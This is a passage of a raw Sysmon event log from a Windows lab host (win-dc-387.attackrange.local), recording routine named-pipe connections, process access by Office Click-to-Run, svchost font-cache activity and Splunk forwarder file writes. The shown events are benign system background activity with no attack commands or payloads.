14:44:06.471{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041016Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:06.471{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041015Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:06.471{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041014Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:06.456{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041013Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:06.456{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041012Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:06.456{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041011Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:06.456{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041010Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:06.456{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041009Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:06.456{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041008Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:06.456{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041007Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:06.456{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041006Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:06.456{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041005Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:06.456{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041004Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:06.456{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041003Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:06.456{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041002Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:06.456{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041001Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:06.456{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041000Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:06.456{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000040999Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:06.456{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000040998Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:06.456{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000040997Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:06.456{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000040996Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:06.456{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000040995Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:06.456{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000040994Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:06.456{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000040993Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:06.456{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000040992Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:06.456{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000040991Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:06.456{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 10341000x800000000000000040990Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:06.456{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 18141800x800000000000000040989Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:06.456{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000040988Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:06.456{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000040987Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:06.456{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000040986Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:06.456{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000040985Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:06.456{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000040984Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:06.456{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000040983Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:06.456{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000040982Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:06.456{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000040981Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:06.456{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000040980Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:06.456{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 10341000x800000000000000040979Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:06.440{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040978Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:06.440{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040977Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:06.424{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040976Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:06.409{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040975Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:06.393{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 18141800x800000000000000040974Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:06.393{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 23542300x800000000000000040973Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:06.377{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SystemMD5=C80B3F3FD865C0C31C52086A38F6DA22,SHA256=F0FFD9AA0991D08834BF192041C2CF3FDD16394CFD952821A1B82F4B02C30EE2,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000040972Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:06.362{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F36-613B-8E08-00000000F001}1576C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000040971Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:06.362{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F36-613B-8E08-00000000F001}1576C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 23542300x800000000000000040970Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:06.362{7BD73061-65B2-613B-1000-00000000F001}364NT AUTHORITY\LOCAL SERVICEC:\Windows\system32\svchost.exeC:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\FontCache-Obsolete-218.datMD5=F99AF1F98EB328FCF144FF07A477D1C1,SHA256=C980488717660CCC5C7F0A702229AC6B0B025F917070C2861E7C6C7242ECCCE7,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000040969Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:06.346{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 18141800x800000000000000040968Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:06.346{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 10341000x800000000000000040967Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:06.331{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040966Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:06.331{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 18141800x800000000000000040965Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:06.331{7BD73061-6E00-613B-E006-00000000F001}5992\FTA_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 23542300x800000000000000040964Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:06.315{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=4F751952F4CE9AF9DDBCBC9547184336,SHA256=9563EBFC0DA3AD2ABDA069E9F17F48B192ECA753053EA91AA95EA9D9655B8AF7,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000040963Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:06.315{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040962Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:06.315{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040961Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:06.299{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040960Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:06.299{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040959Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:06.284{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040958Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:06.284{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040957Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:06.268{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040956Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:06.268{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040955Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:06.252{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040954Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:06.252{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040953Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:06.237{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft 